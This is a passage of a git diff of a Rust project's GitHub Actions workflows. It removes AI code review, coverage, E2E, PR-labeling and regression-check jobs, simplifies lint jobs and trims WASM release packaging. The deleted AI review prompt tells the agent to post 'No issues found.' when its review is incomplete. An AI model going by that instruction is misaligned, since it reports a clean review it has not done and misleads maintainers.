.github/workflows/*)
|
||||
# Only upgrade, never downgrade
|
||||
[[ "$risk" != "high" ]] && risk="medium"
|
||||
;;
|
||||
|
||||
# Low risk: docs, tests, estimation, evaluation, history, etc.
|
||||
*)
|
||||
;;
|
||||
esac
|
||||
done <<< "$files"
|
||||
|
||||
echo "Risk: ${risk}"
|
||||
set_exclusive_label "risk" "risk: ${risk}"
|
||||
}
|
||||
|
||||
# ─── contributor tier ───────────────────────────────────────────────────────
|
||||
|
||||
classify_contributor() {
|
||||
# Get PR author
|
||||
local author
|
||||
author=$(gh pr view "$PR_NUMBER" --repo "$REPO" --json author --jq '.author.login')
|
||||
|
||||
# Count merged PRs by this author in this repo
|
||||
local count
|
||||
count=$(gh pr list --repo "$REPO" --state merged --author "$author" \
|
||||
--limit 100 --json number --jq 'length')
|
||||
|
||||
local label
|
||||
if (( count == 0 )); then label="contributor: new"
|
||||
elif (( count < 6 )); then label="contributor: regular"
|
||||
elif (( count < 20 )); then label="contributor: experienced"
|
||||
else label="contributor: core"
|
||||
fi
|
||||
|
||||
echo "Contributor: ${author} has ${count} merged PRs -> ${label}"
|
||||
set_exclusive_label "contributor" "$label"
|
||||
}
|
||||
|
||||
# ─── main ───────────────────────────────────────────────────────────────────
|
||||
|
||||
echo "Classifying PR #${PR_NUMBER} in ${REPO}..."
|
||||
classify_size
|
||||
classify_risk
|
||||
classify_contributor
|
||||
echo "Done."
|
||||
@@ -1,109 +0,0 @@
|
||||
name: Claude Code Review
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
types: [labeled]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: write
|
||||
issues: write
|
||||
id-token: write
|
||||
|
||||
concurrency:
|
||||
group: claude-review-${{ github.event.pull_request.number || github.run_id }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
review:
|
||||
name: Claude Code Review
|
||||
if: contains(github.event.pull_request.labels.*.name, 'staging-promotion')
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Run Claude Code review
|
||||
uses: anthropics/claude-code-action@v1
|
||||
with:
|
||||
anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }}
|
||||
allowed_bots: "ironclaw-ci[bot]"
|
||||
claude_args: "--max-turns 50 --model claude-haiku-4-5-20251001 --allowedTools 'Read,Glob,Grep,Agent,Bash(gh pr comment:*),Bash(gh pr diff:*),Bash(gh pr view:*),Bash(gh pr list:*),Bash(gh issue view:*),Bash(gh issue list:*),Bash(gh search:*),Bash(git blame:*),Bash(git log:*),Bash(git diff:*)'"
|
||||
prompt: |
|
||||
Code review this pull request. Follow these steps precisely:
|
||||
|
||||
1. Find relevant CLAUDE.md files: the root CLAUDE.md and any CLAUDE.md files
|
||||
in directories whose files this PR modifies. Use Glob to find them, then Read
|
||||
to load their contents.
|
||||
|
||||
2. Get the PR diff with `gh pr diff` and summarize the change.
|
||||
|
||||
3. Launch 4 parallel agents to review the change independently. Each agent should
|
||||
read the PR diff with `gh pr diff` and the full source files for changed
|
||||
code (using Read), then return a list of issues. Each agent MUST score its
|
||||
own findings inline using the severity and confidence rubric below.
|
||||
|
||||
Severity levels:
|
||||
- CRITICAL: security vulns, panics in prod (.unwrap/.expect), data exfiltration, race conditions
|
||||
- HIGH: logic bugs, missing error handling, breaking API/schema changes
|
||||
- MEDIUM: missing tests, unnecessary complexity, performance issues
|
||||
- LOW: documentation gaps, naming suggestions
|
||||
|
||||
Confidence scoring (0-100):
|
||||
0: False positive, doesn't stand up to scrutiny, or pre-existing issue.
|
||||
25: Might be real, but may be false positive. Stylistic issues not in CLAUDE.md.
|
||||
50: Real issue but nitpick or rare in practice. Not very important.
|
||||
75: Verified real issue, will be hit in practice. Directly impacts functionality
|
||||
or explicitly mentioned in CLAUDE.md.
|
||||
100: Certain, confirmed, will happen frequently. Evidence directly confirms.
|
||||
|
||||
Each agent returns findings as: [SEVERITY:CONFIDENCE] <brief description>
|
||||
|
||||
Agent 1 — Security & Safety
|
||||
Check for: command injection, path traversal, SSRF, XSS, auth bypass,
|
||||
secrets in logs, .unwrap()/.expect() in production code (not tests),
|
||||
race conditions, TOCTOU, unsafe blocks, panics in async, unbounded allocations.
|
||||
|
||||
Agent 2 — Architecture & Patterns
|
||||
Check for: extensible design (traits/enums over nested conditionals),
|
||||
clean abstractions, proper error types (thiserror), CLAUDE.md compliance,
|
||||
type-driven design over stringly-typed code, DRY violations.
|
||||
|
||||
Agent 3 — Bug Scan
|
||||
Shallow diff-only scan for obvious bugs: logic errors, off-by-one,
|
||||
missing error handling, division by zero, incorrect return values.
|
||||
Ignore nitpicks and likely false positives. Do NOT read extra context
|
||||
beyond the diff — focus only on the changes.
|
||||
|
||||
Agent 4 — Performance & Production
|
||||
Check for: blocking in async, N+1 queries, unbounded loops, missing
|
||||
timeouts, resource leaks (file handles, connections), large allocations
|
||||
in hot paths.
|
||||
|
||||
4. Consolidate all agent findings and post exactly one comment on the PR
|
||||
using `gh pr comment` with this format. If no issues were found,
|
||||
post "No issues found." instead:
|
||||
|
||||
### Code review
|
||||
|
||||
Found N issues:
|
||||
|
||||
1. [SEVERITY:CONFIDENCE] <brief description>
|
||||
|
||||
<permalink to file:line using full SHA, eg https://github.com/owner/repo/blob/abc123def/src/file.rs#L10-L15>
|
||||
|
||||
Example: [CRITICAL:92] `.unwrap()` can panic in production when config is missing
|
||||
|
||||
You MUST use the full git SHA in links (not HEAD or branch name).
|
||||
Provide 1 line of context before and after each linked range.
|
||||
|
||||
IMPORTANT rules:
|
||||
- Only YOU (the main process) may call `gh pr comment`. Agents must return
|
||||
their findings to you — they must NOT post comments themselves.
|
||||
- You MUST post exactly one `gh pr comment` before finishing, even if agents
|
||||
fail or return empty results. If review is incomplete, post "No issues found."
|
||||
- Use Read/Glob for file access, `gh` for GitHub interactions, not web fetch
|
||||
- Do NOT check build signal or attempt to build/test the code
|
||||
- Ignore pre-existing issues not introduced by this PR
|
||||
- Ignore issues a linter/compiler would catch (formatting, imports, types)
|
||||
@@ -3,86 +3,20 @@ on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
format:
|
||||
name: Formatting
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: rustfmt
|
||||
- name: Check formatting
|
||||
run: cargo fmt --all -- --check
|
||||
|
||||
clippy:
|
||||
name: Clippy (${{ matrix.name }})
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- name: all-features
|
||||
flags: "--all-features"
|
||||
- name: default
|
||||
flags: ""
|
||||
- name: libsql-only
|
||||
flags: "--no-default-features --features libsql"
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: clippy-${{ matrix.name }}
|
||||
- name: Check lints
|
||||
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
|
||||
|
||||
clippy-windows:
|
||||
name: Clippy Windows (${{ matrix.name }})
|
||||
if: github.base_ref == 'main'
|
||||
runs-on: windows-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- name: all-features
|
||||
flags: "--all-features"
|
||||
- name: default
|
||||
flags: ""
|
||||
- name: libsql-only
|
||||
flags: "--no-default-features --features libsql"
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: clippy-windows-${{ matrix.name }}
|
||||
- name: Check lints
|
||||
run: cargo clippy --all --benches --tests --examples ${{ matrix.flags }} -- -D warnings
|
||||
|
||||
# Roll-up job for branch protection
|
||||
code-style:
|
||||
codestyle:
|
||||
name: Code Style (fmt + clippy)
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
needs: [format, clippy, clippy-windows]
|
||||
steps:
|
||||
- run: |
|
||||
if [[ "${{ needs.format.result }}" != "success" || "${{ needs.clippy.result }}" != "success" ]]; then
|
||||
echo "One or more jobs failed"
|
||||
exit 1
|
||||
fi
|
||||
# clippy-windows only runs on main PRs, so skip/success are both acceptable
|
||||
if [[ "${{ needs.clippy-windows.result }}" == "failure" ]]; then
|
||||
echo "Windows clippy failed"
|
||||
exit 1
|
||||
fi
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v6
|
||||
- name: Install Rust
|
||||
uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
profile: minimal
|
||||
components: rustfmt, clippy
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
- name: Check formatting
|
||||
run: |
|
||||
cargo fmt --all -- --check
|
||||
- name: Check lints (cargo clippy)
|
||||
run: cargo clippy -- -D warnings
|
||||
|
||||
@@ -1,226 +0,0 @@
|
||||
# Code Coverage Workflow
|
||||
#
|
||||
# This workflow runs test coverage analysis and uploads reports to Codecov.
|
||||
# Coverage reports help identify untested code paths and maintain code quality.
|
||||
#
|
||||
# What it does:
|
||||
# - Runs unit and integration tests with coverage instrumentation
|
||||
# - Runs E2E tests with coverage instrumentation
|
||||
# - Uploads coverage reports to Codecov (https://codecov.io/gh/nearai/ironclaw)
|
||||
#
|
||||
# Viewing coverage reports:
|
||||
# - PRs automatically get coverage comments showing changes in coverage
|
||||
# - Visit https://codecov.io/gh/nearai/ironclaw for detailed coverage reports
|
||||
# - Coverage reports are generated for three configurations:
|
||||
# 1. all-features: Full feature set
|
||||
# 2. default: Default features
|
||||
# 3. libsql-only: Minimal libSQL-only configuration
|
||||
# - E2E coverage tracks end-to-end test coverage separately
|
||||
#
|
||||
# Coverage files:
|
||||
# - Unit/integration: lcov.info (uploaded to Codecov with "unit" flag)
|
||||
# - E2E: e2e-coverage.info (uploaded to Codecov with "e2e" flag)
|
||||
#
|
||||
# Requirements:
|
||||
# - Uses cargo-llvm-cov for coverage instrumentation
|
||||
# - Requires PostgreSQL for integration tests (pgvector/pgvector:pg16)
|
||||
# - E2E tests require Python 3.12 and Playwright
|
||||
|
||||
name: Code Coverage
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
coverage:
|
||||
name: Coverage (${{ matrix.name }})
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- name: all-features
|
||||
flags: "--all-features"
|
||||
has_postgres: true
|
||||
- name: default
|
||||
flags: ""
|
||||
has_postgres: true
|
||||
- name: libsql-only
|
||||
flags: "--no-default-features --features libsql"
|
||||
has_postgres: false
|
||||
services:
|
||||
postgres:
|
||||
image: pgvector/pgvector:pg16
|
||||
env:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: postgres
|
||||
POSTGRES_DB: ironclaw_test
|
||||
ports:
|
||||
- 5432:5432
|
||||
options: >-
|
||||
--health-cmd "pg_isready -U postgres"
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: llvm-tools-preview
|
||||
targets: wasm32-wasip2
|
||||
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: coverage-${{ matrix.name }}
|
||||
|
||||
- name: Install cargo-llvm-cov
|
||||
uses: taiki-e/install-action@cargo-llvm-cov
|
||||
|
||||
- name: Install cargo-component
|
||||
run: |
|
||||
if ! command -v cargo-component >/dev/null 2>&1; then
|
||||
cargo install cargo-component --locked
|
||||
fi
|
||||
|
||||
- name: Build WASM channels (for integration tests)
|
||||
run: ./scripts/build-wasm-extensions.sh --channels
|
||||
|
||||
- name: Run database migrations
|
||||
if: matrix.has_postgres
|
||||
run: |
|
||||
set -euo pipefail
|
||||
readarray -t migration_files < <(printf '%s\n' migrations/V*.sql | sort -V)
|
||||
for f in "${migration_files[@]}"; do
|
||||
echo "Applying $f..."
|
||||
psql -v ON_ERROR_STOP=1 -f "$f"
|
||||
done
|
||||
env:
|
||||
PGHOST: localhost
|
||||
PGUSER: postgres
|
||||
PGPASSWORD: postgres
|
||||
PGDATABASE: ironclaw_test
|
||||
|
||||
- name: Set DATABASE_URL for postgres configs
|
||||
if: matrix.has_postgres
|
||||
run: echo "DATABASE_URL=postgres://postgres:postgres@localhost/ironclaw_test" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Generate coverage
|
||||
run: cargo llvm-cov ${{ matrix.flags }} --workspace --lcov --output-path lcov.info
|
||||
|
||||
- name: Upload to Codecov
|
||||
uses: codecov/codecov-action@v5
|
||||
with:
|
||||
files: lcov.info
|
||||
flags: ${{ matrix.name }}
|
||||
disable_search: true
|
||||
use_oidc: true
|
||||
fail_ci_if_error: true
|
||||
|
||||
e2e-coverage:
|
||||
name: E2E Coverage
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
with:
|
||||
components: llvm-tools-preview
|
||||
targets: wasm32-wasip2
|
||||
|
||||
- uses: Swatinem/rust-cache@v2
|
||||
with:
|
||||
key: e2e-coverage
|
||||
|
||||
- name: Install cargo-llvm-cov
|
||||
uses: taiki-e/install-action@cargo-llvm-cov
|
||||
|
||||
- name: Install cargo-component
|
||||
run: |
|
||||
if ! command -v cargo-component >/dev/null 2>&1; then
|
||||
cargo install cargo-component --locked
|
||||
fi
|
||||
|
||||
- name: Build WASM channels
|
||||
run: ./scripts/build-wasm-extensions.sh --channels
|
||||
|
||||
- name: Set up coverage instrumentation
|
||||
run: |
|
||||
# show-env outputs shell-quoted values (KEY='value') but GITHUB_ENV
|
||||
# expects unquoted KEY=value. Strip only the wrapping single quotes
|
||||
# from KEY='value' lines without altering any internal characters.
|
||||
cargo llvm-cov show-env | sed -E "s/^([A-Za-z_][A-Za-z0-9_]*)='(.*)'$/\1=\2/" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Clean coverage workspace
|
||||
run: cargo llvm-cov clean --workspace
|
||||
|
||||
- name: Build instrumented binary
|
||||
run: cargo build --no-default-features --features libsql
|
||||
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.12"
|
||||
|
||||
- name: Install E2E dependencies
|
||||
run: |
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install --with-deps chromium
|
||||
|
||||
- name: Run E2E tests
|
||||
run: |
|
||||
pytest tests/e2e/ -v -x --timeout=120
|
||||
env:
|
||||
RUST_LOG: ironclaw=info
|
||||
RUST_BACKTRACE: "1"
|
||||
|
||||
- name: Verify profraw files exist
|
||||
if: always()
|
||||
run: |
|
||||
echo "LLVM_PROFILE_FILE=${LLVM_PROFILE_FILE}"
|
||||
echo "CARGO_LLVM_COV_TARGET_DIR=${CARGO_LLVM_COV_TARGET_DIR}"
|
||||
profraw_count=$(find target/ -name '*.profraw' 2>/dev/null | wc -l)
|
||||
echo "Found ${profraw_count} .profraw files under target/"
|
||||
find target/ -name '*.profraw' 2>/dev/null || true
|
||||
if [ "$profraw_count" -eq 0 ]; then
|
||||
echo "::warning::No .profraw files found — coverage report will fail"
|
||||
fi
|
||||
|
||||
- name: Generate coverage report
|
||||
if: always()
|
||||
run: cargo llvm-cov report --lcov --output-path e2e-coverage.info
|
||||
|
||||
- name: Upload to Codecov
|
||||
if: always()
|
||||
uses: codecov/codecov-action@v5
|
||||
with:
|
||||
files: e2e-coverage.info
|
||||
flags: e2e
|
||||
disable_search: true
|
||||
use_oidc: true
|
||||
fail_ci_if_error: true
|
||||
|
||||
- name: Upload screenshots on failure
|
||||
if: failure()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: e2e-screenshots
|
||||
path: tests/e2e/screenshots/
|
||||
if-no-files-found: ignore
|
||||
|
||||
coverage-gate:
|
||||
name: Coverage
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
needs: [coverage, e2e-coverage]
|
||||
steps:
|
||||
- run: |
|
||||
if [[ "${{ needs.coverage.result }}" != "success" || "${{ needs.e2e-coverage.result }}" != "success" ]]; then
|
||||
echo "One or more coverage jobs failed"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,100 +0,0 @@
|
||||
name: E2E Tests
|
||||
on:
|
||||
workflow_call:
|
||||
schedule:
|
||||
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
paths:
|
||||
- "src/channels/web/**"
|
||||
- "tests/e2e/**"
|
||||
|
||||
jobs:
|
||||
# ── Step 1: compile once ──────────────────────────────────────────────────
|
||||
build:
|
||||
name: Build ironclaw (libsql)
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: dtolnay/rust-toolchain@stable
|
||||
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: |
|
||||
target
|
||||
~/.cargo/registry
|
||||
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
|
||||
|
||||
- name: Build
|
||||
run: cargo build --no-default-features --features libsql
|
||||
|
||||
- name: Upload binary
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ironclaw-e2e-binary
|
||||
path: target/debug/ironclaw
|
||||
retention-days: 1
|
||||
|
||||
# ── Step 2: run test slices in parallel ───────────────────────────────────
|
||||
test:
|
||||
name: E2E (${{ matrix.group }})
|
||||
needs: build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 30
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- group: core
|
||||
files: "tests/e2e/scenarios/test_connection.py tests/e2e/scenarios/test_chat.py tests/e2e/scenarios/test_sse_reconnect.py tests/e2e/scenarios/test_html_injection.py"
|
||||
- group: features
|
||||
files: "tests/e2e/scenarios/test_skills.py tests/e2e/scenarios/test_tool_approval.py"
|
||||
- group: extensions
|
||||
files: "tests/e2e/scenarios/test_extensions.py"
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Download binary
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: ironclaw-e2e-binary
|
||||
path: target/debug/
|
||||
|
||||
- name: Make binary executable
|
||||
run: chmod +x target/debug/ironclaw
|
||||
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.12"
|
||||
|
||||
- name: Install E2E dependencies
|
||||
run: |
|
||||
cd tests/e2e
|
||||
pip install -e .
|
||||
playwright install --with-deps chromium
|
||||
|
||||
- name: Run E2E tests (${{ matrix.group }})
|
||||
run: pytest ${{ matrix.files }} -v --timeout=120
|
||||
|
||||
- name: Upload screenshots on failure
|
||||
if: failure()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: e2e-screenshots-${{ matrix.group }}
|
||||
path: tests/e2e/screenshots/
|
||||
if-no-files-found: ignore
|
||||
|
||||
# ── Roll-up for branch protection ────────────────────────────────────────
|
||||
e2e:
|
||||
name: E2E Tests
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
needs: [test]
|
||||
steps:
|
||||
- run: |
|
||||
if [[ "${{ needs.test.result }}" != "success" ]]; then
|
||||
echo "One or more E2E jobs failed"
|
||||
exit 1
|
||||
fi
|
||||
@@ -1,26 +0,0 @@
|
||||
name: "PR: Classify (Size, Risk, Contributor)"
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [opened, synchronize, reopened]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: write
|
||||
issues: read # needed for search/issues API (contributor count)
|
||||
|
||||
jobs:
|
||||
classify:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout base branch
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
ref: ${{ github.event.pull_request.base.ref }}
|
||||
|
||||
- name: Classify PR
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
PR_NUMBER: ${{ github.event.pull_request.number }}
|
||||
REPO: ${{ github.repository }}
|
||||
run: bash .github/scripts/pr-labeler.sh
|
||||
@@ -1,18 +0,0 @@
|
||||
name: "PR: Scope Labels"
|
||||
|
||||
on:
|
||||
pull_request_target:
|
||||
types: [opened, synchronize, reopened]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
scope:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/labeler@v5
|
||||
with:
|
||||
configuration-path: .github/labeler.yml
|
||||
sync-labels: false # additive only — never remove scope labels
|
||||
@@ -1,107 +0,0 @@
|
||||
name: Regression Test Check
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
|
||||
jobs:
|
||||
regression-test:
|
||||
name: Regression test enforcement
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Check for regression tests
|
||||
env:
|
||||
PR_TITLE: ${{ github.event.pull_request.title }}
|
||||
PR_LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
BASE_REF="origin/${{ github.event.pull_request.base.ref }}"
|
||||
|
||||
# --- 1. Is this a fix PR? Check title first, then commit messages ---
|
||||
IS_FIX=false
|
||||
|
||||
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$PR_TITLE"; then
|
||||
IS_FIX=true
|
||||
fi
|
||||
|
||||
if [ "$IS_FIX" = false ]; then
|
||||
COMMITS=$(git log --format='%s' "${BASE_REF}..HEAD")
|
||||
if grep -qiE '^(fix(\(.*\))?|hotfix|bugfix):' <<< "$COMMITS"; then
|
||||
IS_FIX=true
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$IS_FIX" = false ]; then
|
||||
echo "Not a fix PR — skipping regression test check."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "Fix PR detected."
|
||||
|
||||
# --- 2. Skip label or commit message marker ---
|
||||
if grep -qF ',skip-regression-check,' <<< ",$PR_LABELS,"; then
|
||||
echo "skip-regression-check label present — skipping."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
COMMIT_BODIES=$(git log --format='%B' "${BASE_REF}..HEAD")
|
||||
if grep -qF '[skip-regression-check]' <<< "$COMMIT_BODIES"; then
|
||||
echo "[skip-regression-check] found in commit message — skipping."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 3. Exempt static-only / docs-only changes ---
|
||||
CHANGED_FILES=$(git diff --name-only "${BASE_REF}...HEAD")
|
||||
|
||||
if [ -z "$CHANGED_FILES" ]; then
|
||||
echo "No changed files — skipping."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
ALL_EXEMPT=true
|
||||
while IFS= read -r file; do
|
||||
case "$file" in
|
||||
src/channels/web/static/*) ;;
|
||||
*.md) ;;
|
||||
*) ALL_EXEMPT=false; break ;;
|
||||
esac
|
||||
done <<< "$CHANGED_FILES"
|
||||
|
||||
if [ "$ALL_EXEMPT" = true ]; then
|
||||
echo "All changes are static assets or docs — skipping."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 4. Look for test changes ---
|
||||
|
||||
# Fast path: new test attributes or test modules in added lines.
|
||||
if git diff "${BASE_REF}...HEAD" -U0 -- '*.rs' | grep -qE '^\+.*(#\[test\]|#\[tokio::test\]|#\[cfg\(test\)\]|mod tests)'; then
|
||||
echo "Test changes found in .rs files."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Whole-function context: detect edits inside existing test functions.
|
||||
if git diff "${BASE_REF}...HEAD" -W -- '*.rs' | awk '
|
||||
/^@@/ { if (has_test && has_add) { found=1; exit } has_test=0; has_add=0 }
|
||||
/^ .*#\[test\]/ || /^ .*#\[tokio::test\]/ || /^ .*#\[cfg\(test\)\]/ || /^ .*mod tests/ { has_test=1 }
|
||||
/^\+.*#\[test\]/ || /^\+.*#\[tokio::test\]/ || /^\+.*#\[cfg\(test\)\]/ || /^\+.*mod tests/ { has_test=1 }
|
||||
/^\+[^+]/ { has_add=1 }
|
||||
END { if (has_test && has_add) found=1; exit !found }
|
||||
'; then
|
||||
echo "Test changes found in existing test functions."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
if grep -qE '^tests/' <<< "$CHANGED_FILES"; then
|
||||
echo "Test file changes found under tests/."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# --- 5. No tests found ---
|
||||
echo "::warning::This PR looks like a bug fix but contains no test changes. Every fix should include a regression test. Add a #[test] or #[tokio::test], or apply the 'skip-regression-check' label if not feasible."
|
||||
exit 1
|
||||
@@ -39,6 +39,7 @@ permissions:
|
||||
# If there's a prerelease-style suffix to the version, then the release(s)
|
||||
# will be marked as a prerelease.
|
||||
on:
|
||||
pull_request:
|
||||
push:
|
||||
tags:
|
||||
- '**[0-9]+.[0-9]+.[0-9]+*'
|
||||
@@ -89,12 +90,10 @@ jobs:
|
||||
# Build and packages all the platform-specific things
|
||||
build-local-artifacts:
|
||||
name: build-local-artifacts (${{ join(matrix.targets, ', ') }})
|
||||
# Wait for WASM extensions so we can patch manifests with SHA256 checksums
|
||||
# before build.rs bakes them into the embedded catalog.
|
||||
# Let the initial task tell us to not run (currently very blunt)
|
||||
needs:
|
||||
- plan
|
||||
- build-wasm-extensions
|
||||
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') && (needs.build-wasm-extensions.result == 'skipped' || needs.build-wasm-extensions.result == 'success') }}
|
||||
if: ${{ fromJson(needs.plan.outputs.val).ci.github.artifacts_matrix.include != null && (needs.plan.outputs.publishing == 'true' || fromJson(needs.plan.outputs.val).ci.github.pr_run_mode == 'upload') }}
|
||||
strategy:
|
||||
fail-fast: false
|
||||
# Target platforms/runners are computed by dist in create-release.
|
||||
@@ -141,35 +140,6 @@ jobs:
|
||||
pattern: artifacts-*
|
||||
path: target/distrib/
|
||||
merge-multiple: true
|
||||
- name: Patch manifests with WASM checksums
|
||||
if: ${{ needs.plan.outputs.publishing == 'true' }}
|
||||
shell: bash
|
||||
env:
|
||||
RELEASE_TAG: ${{ github.ref_name }}
|
||||
run: |
|
||||
CHECKSUMS="target/distrib/checksums.txt"
|
||||
if [ ! -f "$CHECKSUMS" ]; then
|
||||
echo "No checksums.txt found, skipping manifest patching"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r line; do
|
||||
sha256=$(echo "$line" | awk '{print $1}')
|
||||
filename=$(echo "$line" | awk '{print $2}')
|
||||
# Strip -{version}-wasm32-wasip2.tar.gz to get the extension name.
|
||||
# Use '.*' (greedy) so pre-release suffixes like -alpha.1 are consumed too.
|
||||
name=$(echo "$filename" | sed 's/-[0-9].*-wasm32-wasip2\.tar\.gz$//')
|
||||
url="https://github.com/nearai/ironclaw/releases/download/${RELEASE_TAG}/${filename}"
|
||||
|
||||
for manifest in registry/tools/${name}.json registry/channels/${name}.json; do
|
||||
if [ -f "$manifest" ]; then
|
||||
jq --arg sha "$sha256" --arg url "$url" \
|
||||
'.artifacts["wasm32-wasip2"].sha256 = $sha | .artifacts["wasm32-wasip2"].url = $url' \
|
||||
"$manifest" > "${manifest}.tmp" && mv "${manifest}.tmp" "$manifest"
|
||||
echo "Patched $manifest with sha256=$sha256 url=$url"
|
||||
fi
|
||||
done
|
||||
done < "$CHECKSUMS"
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
${{ matrix.packages_install }}
|
||||
@@ -245,139 +215,14 @@ jobs:
|
||||
path: |
|
||||
${{ steps.cargo-dist.outputs.paths }}
|
||||
${{ env.BUILD_MANIFEST_NAME }}
|
||||
# Build WASM extension bundles (tar.gz with .wasm + .capabilities.json)
|
||||
build-wasm-extensions:
|
||||
needs:
|
||||
- plan
|
||||
if: ${{ needs.plan.outputs.publishing == 'true' }}
|
||||
runs-on: "ubuntu-22.04"
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
persist-credentials: false
|
||||
submodules: recursive
|
||||
- name: Install Rust toolchain + wasm target
|
||||
run: |
|
||||
rustup target add wasm32-wasip2
|
||||
cargo install cargo-component --locked || true
|
||||
- uses: swatinem/rust-cache@v2
|
||||
with:
|
||||
key: wasm-extensions
|
||||
- name: Build and package WASM extensions
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
mkdir -p target/wasm-bundles
|
||||
|
||||
# Process each manifest in registry/tools/ and registry/channels/
|
||||
for manifest in registry/tools/*.json registry/channels/*.json; do
|
||||
[ -f "$manifest" ] || continue
|
||||
|
||||
# file_stem: JSON filename without extension (e.g. "slack" for slack.json).
|
||||
# Used for the bundle filename and CI manifest lookup, so patching always
|
||||
